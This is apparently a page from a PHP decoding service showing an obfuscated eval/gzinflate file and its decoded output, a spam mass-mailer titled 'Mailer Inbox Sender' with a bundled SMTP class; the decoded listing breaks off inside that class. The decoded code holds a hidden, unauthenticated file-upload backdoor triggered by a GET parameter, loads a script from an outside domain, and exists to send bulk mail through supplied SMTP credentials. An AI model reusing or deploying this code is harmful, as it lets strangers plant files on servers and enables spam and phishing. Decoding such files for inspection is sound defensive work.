Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..
Decoded Output download
?><?php
/*
Inbox Mass Mailer
*/
$upload = $_GET["upload"];
if ($upload == "up" ) {
$uploaddir = "";
$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
if (isset($_FILES["userfile"]["name"]))
{
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
{
$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
else { $resultati = "There was an error uploading the file. please try again!"; }
}
echo'<html>
<head></head>
<div id="result">
<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
<center><form method="POST" enctype="multipart/form-data">
<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
}
function query_str($params){
$str = '';
foreach ($params as $key => $value) {
$str .= (strlen($str) < 1) ? '' : '&';
$str .= $key . '=' . rawurlencode($value);
}
return ($str);
}
function lrtrim($string){
return stripslashes(ltrim(rtrim($string)));
}
if(isset($_POST['action'] ) ){
$b = query_str($_POST);
parse_str($b);
$sslclick=lrtrim($sslclick);
$action=lrtrim($action);
$message=lrtrim($message);
$emaillist=lrtrim($emaillist);
$from=lrtrim($from);
$reconnect=lrtrim($reconnect);
$epriority=lrtrim($epriority);
$my_smtp=lrtrim($my_smtp);
$ssl_port=lrtrim($ssl_port);
$smtp_username=lrtrim($smtp_username);
$smtp_password=lrtrim($smtp_password);
$replyto=lrtrim($replyto);
$subject=lrtrim($subject);
$realname=lrtrim($realname);
$subject_base=lrtrim($subject);
$realname_base=lrtrim($realname);
$file_name=lrtrim($file);
$urlz=lrtrim($urlz);
$contenttype=lrtrim($contenttype);
$encode_text=$_POST['encode'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
if ($encode_text == "yes") {
$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $subject);
$subject = str_replace(' ', '_', $subject);
$subject = "=?UTF-8?Q?$subject?=";
$realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $realname);
$realname = str_replace(' ', '_', $realname);
$realname = "=?UTF-8?Q?$realname?=";
}
}
?>
<html>
<head>
<title>PHP Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
<body text="#000000">
<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Login:</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Pass:</font></div>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
(optional)</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
Server Smtp:</font></div>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td width="18%" height="22" bgcolor="#E8E8E8">
<input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
After:</font></td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
EMAILS</font></td>
</tr>
<tr>
<td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
<p align="center">
<font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
you dont have SMTP login, leave blank queries above <b>"</b></font></td>
</tr>
<tr>
<td width="10%" height="19">
</td>
<td width="18%" height="19"> </td>
<td width="31%" height="19">
</td>
<td width="41%" height="19"> </td>
</tr>
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?=$from;?>" size="30">
</font></td>
<td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?=$realname_base;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?=$replyto;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
Please Choose -</option>
<option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
<option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
</select></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Subject:</font></div>
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<?=$subject_base;?>" size="90">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
<option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
<option <? if($encode_text == "no"){print "selected";} ?>>no</option>
</select></font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" >
Plain
<input type="radio" name="contenttype" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input type="submit" value="Send Message">
</font></td>
<td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
</font></td>
</tr>
</table>
</form>
<?
if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die(); }
class SMTP
{
/**
* SMTP server port
* @var int
*/
var $SMTP_PORT = 25;
/**
* SMTP reply line ending
* @var string
*/
var $CRLF = "
";
/**
* Sets whether debugging is turned on
* @var bool
*/
var $do_debug; # the level of debug to perform
/**
* Sets VERP use on/off (default is off)
* @var bool
*/
var $do_verp = false;
/**#@+
* @access private
*/
var $smtp_conn; # the socket to the server
var $error; # error if any on the last call
var $helo_rply; # the reply the server sent to us for HELO
/**#@-*/
/**
* Initialize the class so that the data is in a known state.
* @access public
* @return void
*/
function SMTP() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
/*************************************************************
* CONNECTION FUNCTIONS *
***********************************************************/
/**
* Connect to the server specified on the port specified.
* If the port is not specified use the default SMTP_PORT.
* If tval is specified then a connection will try and be
* established with the server for that number of seconds.
* If tval is not specified the default is 30 seconds to
* try on the connection.
*
* SMTP CODE SUCCESS: 220
* SMTP CODE FAILURE: 421
* @access public
* @return bool
*/
function Connect($host,$port=0,$tval=30) {
# set the error val to null so there is no confusion
$this->error = null;
# make sure we are __not__ connected
if($this->connected()) {
# ok we are connected! what should we do?
# for now we will just give an error saying we
# are already connected
$this->error = array("error" => "Already connected to a server");
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
#connect to the smtp server
$this->smtp_conn = fsockopen($host, # the host of the server
$port, # the port to use
$errno, # error number if any
$errstr, # error message if any
$tval); # give up after ? secs
# verify we connected properly
if(empty($this->smtp_conn)) {
$this->error = array("error" => "Failed to connect to server",
"errno" => $errno,
"errstr" => $errstr);
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": $errstr ($errno)" . $this->CRLF;
}
return false;
}
# sometimes the SMTP server takes a little longer to respond
# so we will give it a longer timeout for the first read
// Windows still does not have support for this timeout function
if(substr(PHP_OS, 0, 3) != "WIN")
socket_set_timeout($this->smtp_conn, $tval, 0);
# get any announcement stuff
$announce = $this->get_lines();
# set the timeout of any socket functions at 1/10 of a second
//if(function_exists("socket_set_timeout"))
// socket_set_timeout($this->smtp_conn, 0, 100000);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
}
return true;
}
/**
* Performs SMTP authentication. Must be run after running the
* Hello() method. Returns true if successfully authenticated.
* @access public
* @return bool
*/
function Authenticate($username, $password) {
// Start authentication
fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "AUTH not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded username
fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "Username not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded password
fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 235) {
$this->error =
array("error" => "Password not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Returns true if connected to a server otherwise false
* @access private
* @return bool
*/
function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = socket_get_status($this->smtp_conn);
if($sock_status["eof"]) {
# hmm this is an odd situation... the socket is
# valid but we are not connected anymore
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" . $this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true; # everything looks good
}
return false;
}
/**
* Closes the socket and cleans up the state of the class.
* It is not considered good to use this function without
* first trying to use QUIT.
* @access public
* @return void
*/
function Close() {
$this->error = null; # so there is no confusion
$this->helo_rply = null;
if(!empty($this->smtp_conn)) {
# close the connection and cleanup
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
/***************************************************************
* SMTP COMMANDS *
*************************************************************/
/**
* Issues a data command and sends the msg_data to the server
* finializing the mail transaction. $msg_data is the message
* that is to be send with the headers. Each header needs to be
* on a single line followed by a <CRLF> with the message headers
* and the message body being seperated by and additional <CRLF>.
*
* Implements rfc 821: DATA <CRLF>
*
* SMTP CODE INTERMEDIATE: 354
* [data]
* <CRLF>.<CRLF>
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 552,554,451,452
* SMTP CODE FAILURE: 451,554
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Data($msg_data) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Data() without being connected");
return false;
}
fputs($this->smtp_conn,"DATA" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 354) {
$this->error =
array("error" => "DATA command not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# the server is ready to accept data!
# according to rfc 821 we should not send more than 1000
# including the CRLF
# characters on a single line so we will break the data up
# into lines by
and/or
then if needed we will break
# each of those into smaller lines to fit within the limit.
# in addition we will be looking for lines that start with
# a period '.' and append and additional period '.' to that
# line. NOTE: this does not count towards are limit.
# normalize the line breaks so we know the explode works
$msg_data = str_replace("
","
",$msg_data);
$msg_data = str_replace("
","
",$msg_data);
$lines = explode("
",$msg_data);
# we need to find a good way to determine is headers are
# in the msg_data or if it is a straight msg body
# currently I am assuming rfc 822 definitions of msg headers
# and if the first field of the first line (':' sperated)
# does not contain a space then it _should_ be a header
# and we can process all lines before a blank "" line as
# headers.
$field = substr($lines[0],0,strpos($lines[0],":"));
$in_headers = false;
if(!empty($field) && !strstr($field," ")) {
$in_headers = true;
}
$max_line_length = 998; # used below; set here for ease in change
while(list(,$line) = @each($lines)) {
$lines_out = null;
if($line == "" && $in_headers) {
$in_headers = false;
}
# ok we need to break this line up into several
# smaller lines
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line,0,$max_line_length)," ");
# Patch to fix DOS attack
if(!$pos) {
$pos = $max_line_length - 1;
}
$lines_out[] = substr($line,0,$pos);
$line = substr($line,$pos + 1);
# if we are processing headers we need to
# add a LWSP-char to the front of the new line
# rfc 822 on long msg headers
if($in_headers) {
$line = " " . $line;
}
}
$lines_out[] = $line;
# now send the lines to the server
while(list(,$line_out) = @each($lines_out)) {
if(strlen($line_out) > 0)
{
if(substr($line_out, 0, 1) == ".") {
$line_out = "." . $line_out;
}
}
fputs($this->smtp_conn,$line_out . $this->CRLF);
}
}
# ok all the message data has been sent so lets get this
# over with aleady
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "DATA not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Expand takes the name and asks the server to list all the
* people who are members of the _list_. Expand will return
* back and array of the result or false if an error occurs.
* Each value in the array returned has the format of:
* [ <full-name> <sp> ] <path>
* The definition of <path> is defined in rfc 821
*
* Implements rfc 821: EXPN <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 550
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string array
*/
function Expand($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Expand() without being connected");
return false;
}
fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "EXPN not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# parse the reply and place in our array to return to user
$entries = explode($this->CRLF,$rply);
while(list(,$l) = @each($entries)) {
$list[] = substr($l,4);
}
return $list;
}
/**
* Sends the HELO command to the smtp server.
* This makes sure that we and the server are in
* the same known state.
*
* Implements from rfc 821: HELO <SP> <domain> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 501, 504, 421
* @access public
* @return bool
*/
function Hello($host="") {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Hello() without being connected");
return false;
}
# if a hostname for the HELO was not specified determine
# a suitable one to send
if(empty($host)) {
# we need to determine some sort of appopiate default
# to send to the server
$host = "localhost";
}
// Send extended hello first (RFC 2821)
if(!$this->SendHello("EHLO", $host))
{
if(!$this->SendHello("HELO", $host))
return false;
}
return true;
}
/**
* Sends a HELO/EHLO command.
* @access private
* @return bool
*/
function SendHello($hello, $host) {
fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => $hello . " not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
$this->helo_rply = $rply;
return true;
}
/**
* Gets help information on the keyword specified. If the keyword
* is not specified then returns generic help, ussually contianing
* A list of keywords that help is available on. This function
* returns the results back to the user. It is up to the user to
* handle the returned data. If an error occurs then false is
* returned with $this->error set appropiately.
*
* Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
*
* SMTP CODE SUCCESS: 211,214
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string
*/
function Help($keyword="") {
$this->error = null; # to avoid confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Help() without being connected");
return false;
}
$extra = "";
if(!empty($keyword)) {
$extra = " " . $keyword;
}
fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 211 && $code != 214) {
$this->error =
array("error" => "HELP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command.
*
* Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,421
* @access public
* @return bool
*/
function Mail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Mail() without being connected");
return false;
}
$useVerp = ($this->do_verp ? "XVERP" : "");
fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "MAIL not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the command NOOP to the SMTP server.
*
* Implements from rfc 821: NOOP <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 421
* @access public
* @return bool
*/
function Noop() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Noop() without being connected");
return false;
}
fputs($this->smtp_conn,"NOOP" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "NOOP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the quit command to the server and then closes the socket
* if there is no error or the $close_on_error argument is true.
*
* Implements from rfc 821: QUIT <CRLF>
*
* SMTP CODE SUCCESS: 221
* SMTP CODE ERROR : 500
* @access public
* @return bool
*/
function Quit($close_on_error=true) {
$this->error = null; # so there is no confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Quit() without being connected");
return false;
}
# send the quit command to the server
fputs($this->smtp_conn,"quit" . $this->CRLF);
# get any good-bye messages
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
}
$rval = true;
$e = null;
$code = substr($byemsg,0,3);
if($code != 221) {
# use e as a tmp var cause Close will overwrite $this->error
$e = array("error" => "SMTP server rejected quit command",
"smtp_code" => $code,
"smtp_rply" => substr($byemsg,4));
$rval = false;
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $e["error"] . ": " .
$byemsg . $this->CRLF;
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
/**
* Sends the command RCPT to the SMTP server with the TO: argument of $to.
* Returns true if the recipient was accepted false if it was rejected.
*
* Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,552,553,450,451,452
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Recipient($to) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Recipient() without being connected");
return false;
}
fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "RCPT not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the RSET command to abort and transaction that is
* currently in progress. Returns true if successful false
* otherwise.
*
* Implements rfc 821: RSET <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500,501,504,421
* @access public
* @return bool
*/
function Reset() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Reset() without being connected");
return false;
}
fputs($this->smtp_conn,"RSET" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "RSET failed",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in.
*
* Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function Send($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Send() without being connected");
return false;
}
fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SEND not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in and send them an email.
*
* Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendAndMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendAndMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SAML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in or mail it to them if they are not.
*
* Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendOrMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendOrMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SOML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* This is an optional command for SMTP that this class does not
* support. This method is here to make the RFC821 Definition
* complete for this class and __may__ be implimented in the future
*
* Implements from rfc 821: TURN <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 502
* SMTP CODE ERROR : 500, 503
* @access public
* @return bool
*/
function Turn() {
$this->error = array("error" => "This method, TURN, of the SMTP ".
"is not implemented");
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
/**
* Verifies that the name is recognized by the server.
* Returns false if the name could not be verified otherwise
* the response from the server is returned.
*
* Implements rfc 821: VRFY <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
